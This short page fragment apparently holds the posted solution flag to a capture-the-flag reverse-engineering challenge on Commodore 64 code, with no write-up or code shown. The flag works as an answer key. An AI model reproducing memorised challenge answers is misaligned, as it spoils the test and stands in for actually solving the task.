HV21{C64_r3v3rs1ng}

Leave a Reply

Your email address will not be published.